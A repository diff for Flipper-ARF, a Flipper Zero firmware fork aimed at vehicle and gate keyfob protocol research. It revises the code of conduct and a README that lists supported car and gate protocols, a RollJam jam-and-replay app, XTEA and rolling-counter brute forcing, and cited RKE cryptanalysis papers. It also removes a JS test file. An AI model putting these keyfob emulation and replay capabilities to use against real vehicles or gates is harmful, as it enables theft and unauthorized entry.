6. **No enabling of criminal activity.** We do not condone/support/endorse vehicle theft, unauthorized entry, tracking, surveillance, or any other criminal activity.
|
||||
|
||||
7. **Radio frequency compliance.** Comply with radio frequency regulations in your jurisdiction. Transmission testing should be conducted in controlled environments or within legally permitted parameters.
|
||||
|
||||
## Community Standards
|
||||
|
||||
Examples of behavior that contributes to a positive environment:
|
||||
|
||||
* Sharing well-documented protocol analysis and research findings
|
||||
* Providing detailed capture data with proper context (vehicle, method, conditions)
|
||||
* Being respectful of differing opinions, viewpoints, and experiences
|
||||
* Giving and gracefully accepting constructive feedback
|
||||
* Accepting responsibility and apologizing to those affected by our mistakes,
|
||||
and learning from the experience
|
||||
* Focusing on what is best not just for us as individuals, but for the
|
||||
overall community
|
||||
* Accepting responsibility and apologizing to those affected by our mistakes
|
||||
|
||||
Examples of unacceptable behavior include:
|
||||
Examples of unacceptable behavior:
|
||||
|
||||
* The use of sexualized language or imagery, and sexual attention or
|
||||
advances of any kind
|
||||
* Sharing techniques specifically intended to facilitate vehicle theft or unauthorized access
|
||||
* The use of sexualized language or imagery, and sexual attention or advances of any kind
|
||||
* Trolling, insulting or derogatory comments, and personal or political attacks
|
||||
* Public or private harassment
|
||||
* Publishing others' private information, such as a physical or email
|
||||
address, without their explicit permission
|
||||
* Other conduct which could reasonably be considered inappropriate in a
|
||||
professional setting
|
||||
* Publishing others' private information without their explicit permission
|
||||
* Other conduct which could reasonably be considered inappropriate in a professional or research setting
|
||||
|
||||
## Enforcement Responsibilities
|
||||
|
||||
Community leaders are responsible for clarifying and enforcing our standards of
|
||||
acceptable behavior and will take appropriate and fair corrective action in
|
||||
response to any behavior that they deem inappropriate, threatening, offensive,
|
||||
or harmful.
|
||||
Project maintainers are responsible for clarifying and enforcing these standards and will take appropriate and fair corrective action in response to any behavior that they deem inappropriate, threatening, offensive, harmful, or in violation of the ethical research standards above.
|
||||
|
||||
Community leaders have the right and responsibility to remove, edit, or reject
|
||||
comments, commits, code, wiki edits, issues, and other contributions that are
|
||||
not aligned to this Code of Conduct, and will communicate reasons for moderation
|
||||
decisions when appropriate.
|
||||
Maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, and will communicate reasons for moderation decisions when appropriate.
|
||||
|
||||
## Scope
|
||||
|
||||
This Code of Conduct applies within all community spaces, and also applies when
|
||||
an individual is officially representing the community in public spaces.
|
||||
Examples of representing our community include using an official e-mail address,
|
||||
posting via an official social media account, or acting as an appointed
|
||||
representative at an online or offline event.
|
||||
This Code of Conduct applies within all project spaces, including the repository, issue tracker, pull requests, and any associated communication channels. It also applies when an individual is representing the project in public spaces.
|
||||
|
||||
## Enforcement
|
||||
## Reporting
|
||||
|
||||
Instances of abusive, harassing, or otherwise unacceptable behavior may be
|
||||
reported to the community leaders responsible for enforcement at
|
||||
hello@flipperdevices.com.
|
||||
All complaints will be reviewed and investigated promptly and fairly.
|
||||
Instances of abusive, harassing, unethical, or otherwise unacceptable behavior may be reported by opening a confidential issue on the project's GitHub repository or by contacting the maintainers directly through GitHub.
|
||||
|
||||
All community leaders are obligated to respect the privacy and security of the
|
||||
reporter of any incident.
|
||||
All complaints will be reviewed and investigated promptly and fairly. All maintainers are obligated to respect the privacy and security of the reporter of any incident.
|
||||
|
||||
## Enforcement Guidelines
|
||||
|
||||
Community leaders will follow these Community Impact Guidelines in determining
|
||||
the consequences for any action they deem in violation of this Code of Conduct:
|
||||
Maintainers will follow these guidelines in determining the consequences for any action they deem in violation of this Code of Conduct:
|
||||
|
||||
### 1. Correction
|
||||
|
||||
**Community Impact**: Use of inappropriate language or other behavior deemed
|
||||
unprofessional or unwelcome in the community.
|
||||
**Impact**: Use of inappropriate language or other behavior deemed unprofessional or unwelcome.
|
||||
|
||||
**Consequence**: A private, written warning from community leaders, providing
|
||||
clarity around the nature of the violation and an explanation of why the
|
||||
behavior was inappropriate. A public apology may be requested.
|
||||
**Consequence**: A private, written warning providing clarity around the nature of the violation and an explanation of why the behavior was inappropriate. A public apology may be requested.
|
||||
|
||||
### 2. Warning
|
||||
|
||||
**Community Impact**: A violation through a single incident or series
|
||||
of actions.
|
||||
**Impact**: A violation through a single incident or series of actions.
|
||||
|
||||
**Consequence**: A warning with consequences for continued behavior. No
|
||||
interaction with the people involved, including unsolicited interaction with
|
||||
those enforcing the Code of Conduct, for a specified period of time. This
|
||||
includes avoiding interactions in community spaces as well as external channels
|
||||
like social media. Violating these terms may lead to a temporary or
|
||||
permanent ban.
|
||||
**Consequence**: A warning with consequences for continued behavior. No interaction with the people involved, including unsolicited interaction with those enforcing the Code of Conduct, for a specified period of time. Violating these terms may lead to a temporary or permanent ban.
|
||||
|
||||
### 3. Temporary Ban
|
||||
|
||||
**Community Impact**: A serious violation of community standards, including
|
||||
sustained inappropriate behavior.
|
||||
**Impact**: A serious violation of community or ethical research standards, including sustained inappropriate behavior.
|
||||
|
||||
**Consequence**: A temporary ban from any sort of interaction or public
|
||||
communication with the community for a specified period of time. No public or
|
||||
private interaction with the people involved, including unsolicited interaction
|
||||
with those enforcing the Code of Conduct, is allowed during this period.
|
||||
Violating these terms may lead to a permanent ban.
|
||||
**Consequence**: A temporary ban from any sort of interaction or public communication with the project for a specified period of time. Violating these terms may lead to a permanent ban.
|
||||
|
||||
### 4. Permanent Ban
|
||||
|
||||
**Community Impact**: Demonstrating a pattern of violation of community
|
||||
standards, including sustained inappropriate behavior, harassment of an
|
||||
individual, or aggression toward or disparagement of classes of individuals.
|
||||
**Impact**: Demonstrating a pattern of violation of community or ethical standards, including sustained inappropriate behavior, harassment, or using the project to enable criminal activity.
|
||||
|
||||
**Consequence**: A permanent ban from any sort of public interaction within
|
||||
the community.
|
||||
**Consequence**: A permanent ban from any sort of public interaction within the project.
|
||||
|
||||
## Attribution
|
||||
|
||||
This Code of Conduct is adapted from the [Contributor Covenant][homepage],
|
||||
version 2.0, available at
|
||||
https://www.contributor-covenant.org/version/2/0/code_of_conduct.html.
|
||||
This Code of Conduct is adapted from the [Contributor Covenant](https://www.contributor-covenant.org), version 2.0, with additional ethical research guidelines specific to the Flipper-ARF project.
|
||||
|
||||
Community Impact Guidelines were inspired by [Mozilla's code of conduct
|
||||
enforcement ladder](https://github.com/mozilla/diversity).
|
||||
|
||||
[homepage]: https://www.contributor-covenant.org
|
||||
|
||||
For answers to common questions about this code of conduct, see the FAQ at
|
||||
https://www.contributor-covenant.org/faq. Translations are available at
|
||||
https://www.contributor-covenant.org/translations.
|
||||
Community Impact Guidelines were inspired by [Mozilla's code of conduct enforcement ladder](https://github.com/mozilla/diversity).
|
||||
|
||||
257
README.md
@@ -10,13 +10,119 @@ This project may incorporate, adapt, or build upon **other open-source projects*
|
||||
|
||||
---
|
||||
|
||||
## Table of Contents
|
||||
|
||||
- [Showcase](#showcase)
|
||||
- [Supported Systems](#supported-systems)
|
||||
- [How to Build](#how-to-build)
|
||||
- [Project Scope](#project-scope)
|
||||
- [To Do / Planned Features](#to-do--planned-features)
|
||||
- [Design Philosophy](#design-philosophy)
|
||||
- [Research Direction](#research-direction)
|
||||
- [Contribution Policy](#contribution-policy)
|
||||
- [Citations & References](#citations--references)
|
||||
- [Disclaimer](#disclaimer)
|
||||
|
||||
---
|
||||
|
||||
## Showcase
|
||||
|
||||
| | |
|
||||
|:---:|:---:|
|
||||
|  |  |
|
||||
| Home Screen | Sub-GHz Scanner |
|
||||
|  |  |
|
||||
| Keeloq Key Manager | Mod Hopping Config |
|
||||
|  |  |
|
||||
| PSA XTEA Decrypt | Counter BruteForce |
|
||||
|
||||
---
|
||||
|
||||
## Supported Systems
|
||||
|
||||
### Automotive Protocols
|
||||
|
||||
| Manufacturer | Protocol | Frequency | Modulation | Encoder | Decoder | CRC |
|
||||
|:---|:---|:---:|:---:|:---:|:---:|:---:|
|
||||
| VAG (VW/Audi/Skoda/Seat) | VAG GROUP | 433 MHz | AM | Yes | Yes | No |
|
||||
| Porsche | Porsche AG | 433/868 MHz | AM | Yes | Yes | No |
|
||||
| PSA (Peugeot/Citroën/DS) | PSA GROUP | 433 MHz | AM/FM | Yes | Yes | Yes |
|
||||
| Ford | Ford V0 | 315/433 MHz | AM | Yes | Yes | Yes |
|
||||
| Fiat | Fiat SpA | 433 MHz | AM | Yes | Yes | Yes |
|
||||
| Fiat | Marelli/Delphi | 433 MHz | AM | No | Yes | No |
|
||||
| Mazda | Siemens (5WK49365D) | 315/433 MHz | AM/FM | Yes | Yes | Yes |
|
||||
| Kia/Hyundai | KIA/HYU V0 | 433 MHz | FM | Yes | Yes | Yes |
|
||||
| Kia/Hyundai | KIA/HYU V1 | 315/433 MHz | AM | Yes | Yes | Yes |
|
||||
| Kia/Hyundai | KIA/HYU V2 | 315/433 MHz | AM/FM | Yes | Yes | Yes |
|
||||
| Kia/Hyundai | KIA/HYU V3/V4 | 315/433 MHz | AM/FM | Yes | Yes | Yes |
|
||||
| Kia/Hyundai | KIA/HYU V5 | 433 MHz | FM | Yes | Yes | Yes |
|
||||
| Kia/Hyundai | KIA/HYU V6 | 433 MHz | FM | Yes | Yes | Yes |
|
||||
| Subaru | Subaru | 433 MHz | AM | Yes | Yes | No |
|
||||
| Suzuki | Suzuki | 433 MHz | FM | Yes | Yes | Yes |
|
||||
| Mitsubishi | Mitsubishi V0 | 868 MHz | FM | Yes | Yes | No |
|
||||
| Starline | Star Line | 433 MHz | AM | Yes | Yes | No |
|
||||
| Scher-Khan | Scher-Khan | 433 MHz | FM | Yes | Yes | No |
|
||||
| Scher-Khan | Magic Code PRO1/PRO2 | 433 MHz | FM | Yes | Yes | Yes |
|
||||
| Sheriff | Sheriff CFM (ZX-750/930) | 433 MHz | AM | Yes | Yes | No |
|
||||
|
||||
### Gate / Access Protocols
|
||||
|
||||
| Protocol | Frequency | Modulation | Encoder | Decoder | CRC |
|
||||
|:---|:---:|:---:|:---:|:---:|:---:|
|
||||
| Keeloq | 433/868/315 MHz | AM | Yes | Yes | No |
|
||||
| Nice FLO | 433 MHz | AM | Yes | Yes | No |
|
||||
| Nice FloR-S | 433 MHz | AM | Yes | Yes | Yes |
|
||||
| CAME | 433/315 MHz | AM | Yes | Yes | No |
|
||||
| CAME TWEE | 433 MHz | AM | Yes | Yes | No |
|
||||
| CAME Atomo | 433 MHz | AM | Yes | Yes | No |
|
||||
| Faac SLH | 433/868 MHz | AM | Yes | Yes | No |
|
||||
| Holtek | 433 MHz | AM | Yes | Yes | No |
|
||||
| Holtek-Ht12x | 433 MHz | AM | Yes | Yes | No |
|
||||
| Somfy Telis | 433 MHz | AM | Yes | Yes | Yes |
|
||||
| Somfy Keytis | 433 MHz | AM | Yes | Yes | Yes |
|
||||
| Alutech AT-4N | 433 MHz | AM | Yes | Yes | Yes |
|
||||
| Keyfinder | 433 MHz | AM | Yes | Yes | No |
|
||||
| KingGates Stylo4k | 433 MHz | AM | Yes | Yes | No |
|
||||
| Beninca ARC | 433 MHz | AM | Yes | Yes | No |
|
||||
| Hormann HSM | 433/868 MHz | AM | Yes | Yes | No |
|
||||
| Marantec | 433 MHz | AM | Yes | Yes | Yes |
|
||||
| Marantec24 | 433 MHz | AM | Yes | Yes | Yes |
|
||||
|
||||
### General Protocols
|
||||
|
||||
| Protocol | Frequency | Modulation | Encoder | Decoder | CRC |
|
||||
|:---|:---:|:---:|:---:|:---:|:---:|
|
||||
| Princeton | 433/315 MHz | AM | Yes | Yes | No |
|
||||
| Linear | 315 MHz | AM | Yes | Yes | No |
|
||||
| LinearDelta3 | 315 MHz | AM | Yes | Yes | No |
|
||||
| GateTX | 433 MHz | AM | Yes | Yes | No |
|
||||
| Security+ 1.0 | 315 MHz | AM | Yes | Yes | No |
|
||||
| Security+ 2.0 | 315 MHz | AM | Yes | Yes | No |
|
||||
| Chamberlain Code | 315 MHz | AM | Yes | Yes | No |
|
||||
| MegaCode | 315 MHz | AM | Yes | Yes | No |
|
||||
| Mastercode | 433 MHz | AM | Yes | Yes | No |
|
||||
| Dickert MAHS | 433 MHz | AM | Yes | Yes | No |
|
||||
| SMC5326 | 433 MHz | AM | Yes | Yes | No |
|
||||
| Phoenix V2 | 433 MHz | AM | Yes | Yes | No |
|
||||
| Doitrand | 433 MHz | AM | Yes | Yes | No |
|
||||
| Hay21 | 433 MHz | AM | Yes | Yes | No |
|
||||
| Revers RB2 | 433 MHz | AM | Yes | Yes | No |
|
||||
| Roger | 433 MHz | AM | Yes | Yes | No |
|
||||
|
||||
---
|
||||
|
||||
### How to Build
|
||||
|
||||
Compact release build:
|
||||
|
||||
To build:
|
||||
```
|
||||
./fbt COMPACT=1 DEBUG=0 updater_package
|
||||
```
|
||||
To flash:
|
||||
```
|
||||
./fbt COMPACT=1 DEBUG=0 flash_usb_full
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
@@ -29,31 +135,17 @@ Flipper-ARF aims to achieve:
|
||||
- Stable encoder/decoder implementations
|
||||
- Modular protocol expansion
|
||||
|
||||
**Primary focus:** VAG, PSA, Fiat, Ford, Asian platforms, and aftermarket alarm systems.
|
||||
**Primary focus:** Automotives/Alarm's keyfob protocols, keeloq, and keyless systems.
|
||||
|
||||
> ⚠ This is a protocol-focused research firmware, not a general-purpose firmware.
|
||||
|
||||
---
|
||||
|
||||
## Implemented Protocols
|
||||
|
||||
- [x] Mazda Siemens Protocol (5WK49365D) — ported from open-source references (testing required)
|
||||
- [x] Full VAG, Fiat, Ford, Subaru, Kia, PSA support
|
||||
- [x] D-Pad mapping (Lock / Unlock / Boot / Trunk) during emulation
|
||||
- [x] VAG MFKey support and updated Keeloq codes
|
||||
- [x] PSA XTEA brute force for saved → emulation workflow
|
||||
- [x] Brute force of counter in saved → emulation scene for smoother keyfob emulation
|
||||
- [x] RollJam app (Internal CC1101 for RX & TX captured signal; External CC1101 for jamming) — requires more real-world testing
|
||||
|
||||
---
|
||||
|
||||
## To Do / Planned Features
|
||||
|
||||
- [ ] Keeloq Key Manager inside firmware
|
||||
- [ ] Add Scher Khan & Starline protocols
|
||||
- [ ] Fix and reintegrate RollJam Pro app
|
||||
- [ ] Expand and refine Subaru, Kia, PSA, and other manufacturer protocols
|
||||
- [ ] Improve collaboration workflow to avoid overlapping work
|
||||
- [ ] Marelli BSI encoder and encryption
|
||||
- [ ] Improve RollJam app
|
||||
- [ ] Expand and refine as many manufacturer protocols as possible
|
||||
|
||||
---
|
||||
|
||||
@@ -93,6 +185,135 @@ Contributions are welcome if they:
|
||||
|
||||
> Non-automotive features are considered out-of-scope for now.
|
||||
|
||||
### This code is a mess!
|
||||

|
||||
---
|
||||
|
||||
## Citations & References
|
||||
|
||||
The following academic publications have been invaluable to the development and understanding of the protocols implemented in this firmware.
|
||||
|
||||
### Automotive RKE Security
|
||||
|
||||
- **Lock It and Still Lose It — On the (In)Security of Automotive Remote Keyless Entry Systems**
|
||||
Flavio D. Garcia, David Oswald, Timo Kasper, Pierre Pavlidès
|
||||
*USENIX Security 2016, pp. 929–944*
|
||||
DOI: [10.5555/3241094.3241166](https://doi.org/10.5555/3241094.3241166)
|
||||
https://www.usenix.org/system/files/conference/usenixsecurity16/sec16_paper_garcia.pdf
|
||||
|
||||
- **Clonable Key Fobs: Analyzing and Breaking RKE Protocols**
|
||||
Roberto Gesteira-Miñarro, Gregorio López, Rafael Palacios
|
||||
*International Journal of Information Security, Springer, May 2025, 24(3)*
|
||||
DOI: [10.1007/s10207-025-01063-7](https://doi.org/10.1007/s10207-025-01063-7)
|
||||
|
||||
- **The Role of Cryptographic Techniques in Remote Keyless Entry (RKE) Systems**
|
||||
Jananga Chiran — Sri Lanka Institute of Information Technology
|
||||
*November 2023*
|
||||
DOI: [10.5281/zenodo.14677864](https://doi.org/10.5281/zenodo.14677864)
|
||||
|
||||
- **SoK: Stealing Cars Since Remote Keyless Entry Introduction and How to Defend From It**
|
||||
Tommaso Bianchi, Alessandro Brighente, Mauro Conti, Edoardo Pavan — University of Padova / Delft University of Technology
|
||||
*arXiv, 2025*
|
||||
https://arxiv.org/pdf/2505.02713
|
||||
|
||||
- **Security of Automotive Systems**
|
||||
Lennert Wouters, Benedikt Gierlichs, Bart Preneel
|
||||
*Wiley, February 2025*
|
||||
DOI: [10.1002/9781394351930.ch11](https://doi.org/10.1002/9781394351930.ch11)
|
||||
|
||||
### DST Cipher Family (DST40 / DST80)
|
||||
|
||||
- **Security Analysis of a Cryptographically-Enabled RFID Device**
|
||||
Steve Bono, Matthew Green, Adam Stubblefield, Ari Juels, Avi Rubin, Michael Szydlo
|
||||
*14th USENIX Security Symposium (USENIX Security '05)*
|
||||
https://www.usenix.org/conference/14th-usenix-security-symposium/security-analysis-cryptographically-enabled-rfid-device
|
||||
https://www.usenix.org/legacy/event/sec05/tech/bono/bono.pdf
|
||||
|
||||
- **Dismantling DST80-based Immobiliser Systems**
|
||||
Lennert Wouters, Jan Van den Herrewegen, Flavio D. Garcia, David Oswald, Benedikt Gierlichs, Bart Preneel
|
||||
*IACR Transactions on Cryptographic Hardware and Embedded Systems (TCHES), 2020, Vol. 2020(2), pp. 99–127*
|
||||
DOI: [10.13154/tches.v2020.i2.99-127](https://doi.org/10.13154/tches.v2020.i2.99-127)
|
||||
|
||||
### KeeLoq Cryptanalysis
|
||||
|
||||
- **Cryptanalysis of the KeeLoq Block Cipher**
|
||||
Andrey Bogdanov
|
||||
*Cryptology ePrint Archive, Paper 2007/055; also presented at RFIDSec 2007*
|
||||
https://eprint.iacr.org/2007/055
|
||||
|
||||
- **A Practical Attack on KeeLoq**
|
||||
Sebastiaan Indesteege, Nathan Keller, Orr Dunkelman, Eli Biham, Bart Preneel
|
||||
*EUROCRYPT 2008 (LNCS vol. 4965, pp. 1–18)*
|
||||
DOI: [10.1007/978-3-540-78967-3_1](https://doi.org/10.1007/978-3-540-78967-3_1)
|
||||
https://www.iacr.org/archive/eurocrypt2008/49650001/49650001.pdf
|
||||
|
||||
- **Algebraic and Slide Attacks on KeeLoq**
|
||||
Nicolas T. Courtois, Gregory V. Bard, David Wagner
|
||||
*FSE 2008 (LNCS vol. 5086, pp. 97–115)*
|
||||
DOI: [10.1007/978-3-540-71039-4_6](https://doi.org/10.1007/978-3-540-71039-4_6)
|
||||
|
||||
- **On the Power of Power Analysis in the Real World: A Complete Break of the KeeLoq Code Hopping Scheme**
|
||||
Thomas Eisenbarth, Timo Kasper, Amir Moradi, Christof Paar, Mahmoud Salmasizadeh, Mohammad T. Manzuri Shalmani
|
||||
*CRYPTO 2008 (LNCS vol. 5157, pp. 203–220)*
|
||||
DOI: [10.1007/978-3-540-85174-5_12](https://doi.org/10.1007/978-3-540-85174-5_12)
|
||||
https://www.iacr.org/archive/crypto2008/51570204/51570204.pdf
|
||||
|
||||
- **Breaking KeeLoq in a Flash: On Extracting Keys at Lightning Speed**
|
||||
Markus Kasper, Timo Kasper, Amir Moradi, Christof Paar
|
||||
*AFRICACRYPT 2009 (LNCS vol. 5580, pp. 403–420)*
|
||||
DOI: [10.1007/978-3-642-02384-2_25](https://doi.org/10.1007/978-3-642-02384-2_25)
|
||||
|
||||
### Immobiliser & Transponder Cipher Attacks
|
||||
|
||||
- **Gone in 360 Seconds: Hijacking with Hitag2**
|
||||
Roel Verdult, Flavio D. Garcia, Josep Balasch
|
||||
*21st USENIX Security Symposium (USENIX Security '12), pp. 237–252*
|
||||
DOI: [10.5555/2362793.2362830](https://doi.org/10.5555/2362793.2362830)
|
||||
https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final95.pdf
|
||||
|
||||
- **Dismantling Megamos Crypto: Wirelessly Lockpicking a Vehicle Immobilizer**
|
||||
Roel Verdult, Flavio D. Garcia, Baris Ege
|
||||
*Supplement to 22nd USENIX Security Symposium (USENIX Security '13/15), pp. 703–718*
|
||||
https://www.usenix.org/sites/default/files/sec15_supplement.pdf
|
||||
|
||||
- **Dismantling the AUT64 Automotive Cipher**
|
||||
Christopher Hicks, Flavio D. Garcia, David Oswald
|
||||
*IACR Transactions on Cryptographic Hardware and Embedded Systems (TCHES), 2018, Vol. 2018(2), pp. 46–69*
|
||||
DOI: [10.13154/tches.v2018.i2.46-69](https://doi.org/10.13154/tches.v2018.i2.46-69)
|
||||
|
||||
### RFID & Protocol Analysis Tooling
|
||||
|
||||
- **A Toolbox for RFID Protocol Analysis**
|
||||
Flavio D. Garcia
|
||||
*IEEE International Conference on RFID, 2012*
|
||||
DOI: [10.1109/rfid.2012.19](https://doi.org/10.1109/rfid.2012.19)
|
||||
|
||||
### Relay & Replay Attacks
|
||||
|
||||
- **Relay Attacks on Passive Keyless Entry and Start Systems in Modern Cars**
|
||||
Aurélien Francillon, Boris Danev, Srdjan Čapkun
|
||||
*NDSS 2011*
|
||||
https://www.ndss-symposium.org/ndss2011/relay-attacks-on-passive-keyless-entry-and-start-systems-in-modern-cars/
|
||||
|
||||
- **Implementing and Testing RollJam on Software-Defined Radios**
|
||||
*Università di Bologna (UNIBO), CRIS*
|
||||
https://cris.unibo.it/handle/11585/999874
|
||||
|
||||
- **Enhanced Vehicular Roll-Jam Attack Using a Known Noise Source**
|
||||
*Inaugural International Symposium on Vehicle Security & Privacy, January 2023*
|
||||
DOI: [10.14722/vehiclesec.2023.23037](https://doi.org/10.14722/vehiclesec.2023.23037)
|
||||
|
||||
- **RollBack: A New Time-Agnostic Replay Attack Against the Automotive Remote Keyless Entry Systems**
|
||||
Levente Csikor, Hoon Wei Lim, Jun Wen Wong, Soundarya Ramesh, Rohini Poolat Parameswarath, Mun Choon Chan
|
||||
*Black Hat USA 2022; ACM Transactions on Cyber-Physical Systems, 2024*
|
||||
DOI: [10.1145/3627827](https://doi.org/10.1145/3627827)
|
||||
https://i.blackhat.com/USA-22/Thursday/US-22-Csikor-Rollback-A-New-Time-Agnostic-Replay-wp.pdf
|
||||
|
||||
- **Rolling-PWN Attack (Honda RKE Vulnerability)**
|
||||
Kevin2600 (Haoqi Shan), Wesley Li — Star-V Lab
|
||||
*Independent disclosure, 2022 (CVE-2021-46145)*
|
||||
https://rollingpwn.github.io/rolling-pwn/
|
||||
|
||||
---
|
||||
|
||||
# Disclaimer
|
||||
|
||||
@@ -222,13 +222,6 @@ App(
|
||||
requires=["unit_tests"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="test_js",
|
||||
sources=["tests/common/*.c", "tests/js/*.c"],
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="get_api",
|
||||
requires=["unit_tests", "js_app"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="test_strint",
|
||||
|
||||
@@ -1,395 +0,0 @@
|
||||
#include "../test.h" // IWYU pragma: keep
|
||||
|
||||
#include <furi.h>
|
||||
#include <furi_hal.h>
|
||||
#include <furi_hal_random.h>
|
||||
|
||||
#include <storage/storage.h>
|
||||
#include <applications/system/js_app/js_thread.h>
|
||||
#include <applications/system/js_app/js_value.h>
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
#define TAG "JsUnitTests"
|
||||
|
||||
#define JS_SCRIPT_PATH(name) EXT_PATH("unit_tests/js/" name ".js")
|
||||
|
||||
typedef enum {
|
||||
JsTestsFinished = 1,
|
||||
JsTestsError = 2,
|
||||
} JsTestFlag;
|
||||
|
||||
typedef struct {
|
||||
FuriEventFlag* event_flags;
|
||||
FuriString* error_string;
|
||||
} JsTestCallbackContext;
|
||||
|
||||
static void js_test_callback(JsThreadEvent event, const char* msg, void* param) {
|
||||
JsTestCallbackContext* context = param;
|
||||
if(event == JsThreadEventPrint) {
|
||||
FURI_LOG_I("js_test", "%s", msg);
|
||||
} else if(event == JsThreadEventError || event == JsThreadEventErrorTrace) {
|
||||
context->error_string = furi_string_alloc_set_str(msg);
|
||||
furi_event_flag_set(context->event_flags, JsTestsFinished | JsTestsError);
|
||||
} else if(event == JsThreadEventDone) {
|
||||
furi_event_flag_set(context->event_flags, JsTestsFinished);
|
||||
}
|
||||
}
|
||||
|
||||
static void js_test_run(const char* script_path) {
|
||||
JsTestCallbackContext* context = malloc(sizeof(JsTestCallbackContext));
|
||||
context->event_flags = furi_event_flag_alloc();
|
||||
|
||||
JsThread* thread = js_thread_run(script_path, js_test_callback, context);
|
||||
uint32_t flags = furi_event_flag_wait(
|
||||
context->event_flags, JsTestsFinished, FuriFlagWaitAny, FuriWaitForever);
|
||||
if(flags & FuriFlagError) {
|
||||
// getting the flags themselves should not fail
|
||||
furi_crash();
|
||||
}
|
||||
|
||||
FuriString* error_string = context->error_string;
|
||||
|
||||
js_thread_stop(thread);
|
||||
furi_event_flag_free(context->event_flags);
|
||||
free(context);
|
||||
|
||||
if(flags & JsTestsError) {
|
||||
// memory leak: not freeing the FuriString if the tests fail,
|
||||
// because mu_fail executes a return
|
||||
//
|
||||
// who cares tho?
|
||||
mu_fail(furi_string_get_cstr(error_string));
|
||||
}
|
||||
}
|
||||
|
||||
MU_TEST(js_test_basic) {
|
||||
js_test_run(JS_SCRIPT_PATH("basic"));
|
||||
}
|
||||
MU_TEST(js_test_math) {
|
||||
js_test_run(JS_SCRIPT_PATH("math"));
|
||||
}
|
||||
MU_TEST(js_test_event_loop) {
|
||||
js_test_run(JS_SCRIPT_PATH("event_loop"));
|
||||
}
|
||||
MU_TEST(js_test_storage) {
|
||||
js_test_run(JS_SCRIPT_PATH("storage"));
|
||||
}
|
||||
|
||||
static void js_value_test_compatibility_matrix(struct mjs* mjs) {
|
||||
static const JsValueType types[] = {
|
||||
JsValueTypeAny,
|
||||
JsValueTypeAnyArray,
|
||||
JsValueTypeAnyObject,
|
||||
JsValueTypeFunction,
|
||||
JsValueTypeRawPointer,
|
||||
JsValueTypeInt32,
|
||||
JsValueTypeDouble,
|
||||
JsValueTypeString,
|
||||
JsValueTypeBool,
|
||||
};
|
||||
|
||||
mjs_val_t values[] = {
|
||||
mjs_mk_undefined(),
|
||||
mjs_mk_foreign(mjs, (void*)0xDEADBEEF),
|
||||
mjs_mk_array(mjs),
|
||||
mjs_mk_object(mjs),
|
||||
mjs_mk_number(mjs, 123.456),
|
||||
mjs_mk_string(mjs, "test", ~0, false),
|
||||
mjs_mk_boolean(mjs, true),
|
||||
};
|
||||
|
||||
// for proper matrix formatting and better readability
|
||||
#define YES true
|
||||
#define NO_ false
|
||||
static const bool success_matrix[COUNT_OF(types)][COUNT_OF(values)] = {
|
||||
// types:
|
||||
{YES, YES, YES, YES, YES, YES, YES}, // any
|
||||
{NO_, NO_, YES, NO_, NO_, NO_, NO_}, // array
|
||||
{NO_, NO_, YES, YES, NO_, NO_, NO_}, // obj
|
||||
{NO_, NO_, NO_, NO_, NO_, NO_, NO_}, // fn
|
||||
{NO_, YES, NO_, NO_, NO_, NO_, NO_}, // ptr
|
||||
{NO_, NO_, NO_, NO_, YES, NO_, NO_}, // int32
|
||||
{NO_, NO_, NO_, NO_, YES, NO_, NO_}, // double
|
||||
{NO_, NO_, NO_, NO_, NO_, YES, NO_}, // str
|
||||
{NO_, NO_, NO_, NO_, NO_, NO_, YES}, // bool
|
||||
//
|
||||
//und ptr arr obj num str bool <- values
|
||||
};
|
||||
#undef NO_
|
||||
#undef YES
|
||||
|
||||
for(size_t i = 0; i < COUNT_OF(types); i++) {
|
||||
for(size_t j = 0; j < COUNT_OF(values); j++) {
|
||||
const JsValueDeclaration declaration = {
|
||||
.type = types[i],
|
||||
.n_children = 0,
|
||||
};
|
||||
// we only care about the status, not the result. double has the largest size out of
|
||||
// all the results
|
||||
uint8_t result[sizeof(double)];
|
||||
JsValueParseStatus status;
|
||||
JS_VALUE_PARSE(
|
||||
mjs,
|
||||
JS_VALUE_PARSE_SOURCE_VALUE(&declaration),
|
||||
JsValueParseFlagNone,
|
||||
&status,
|
||||
&values[j],
|
||||
result);
|
||||
if((status == JsValueParseStatusOk) != success_matrix[i][j]) {
|
||||
FURI_LOG_E(TAG, "type %zu, value %zu", i, j);
|
||||
mu_fail("see serial logs");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void js_value_test_literal(struct mjs* mjs) {
|
||||
static const JsValueType types[] = {
|
||||
JsValueTypeAny,
|
||||
JsValueTypeAnyArray,
|
||||
JsValueTypeAnyObject,
|
||||
};
|
||||
|
||||
mjs_val_t values[] = {
|
||||
mjs_mk_undefined(),
|
||||
mjs_mk_array(mjs),
|
||||
mjs_mk_object(mjs),
|
||||
};
|
||||
|
||||
mu_assert_int_eq(COUNT_OF(types), COUNT_OF(values));
|
||||
for(size_t i = 0; i < COUNT_OF(types); i++) {
|
||||
const JsValueDeclaration declaration = {
|
||||
.type = types[i],
|
||||
.n_children = 0,
|
||||
};
|
||||
mjs_val_t result;
|
||||
JsValueParseStatus status;
|
||||
JS_VALUE_PARSE(
|
||||
mjs,
|
||||
JS_VALUE_PARSE_SOURCE_VALUE(&declaration),
|
||||
JsValueParseFlagNone,
|
||||
&status,
|
||||
&values[i],
|
||||
&result);
|
||||
mu_assert_int_eq(JsValueParseStatusOk, status);
|
||||
mu_assert(result == values[i], "wrong result");
|
||||
}
|
||||
}
|
||||
|
||||
static void js_value_test_primitive(
|
||||
struct mjs* mjs,
|
||||
JsValueType type,
|
||||
const void* c_value,
|
||||
size_t c_value_size,
|
||||
mjs_val_t js_val) {
|
||||
const JsValueDeclaration declaration = {
|
||||
.type = type,
|
||||
.n_children = 0,
|
||||
};
|
||||
uint8_t result[c_value_size];
|
||||
JsValueParseStatus status;
|
||||
JS_VALUE_PARSE(
|
||||
mjs,
|
||||
JS_VALUE_PARSE_SOURCE_VALUE(&declaration),
|
||||
JsValueParseFlagNone,
|
||||
&status,
|
||||
&js_val,
|
||||
result);
|
||||
mu_assert_int_eq(JsValueParseStatusOk, status);
|
||||
if(type == JsValueTypeString) {
|
||||
const char* result_str = *(const char**)&result;
|
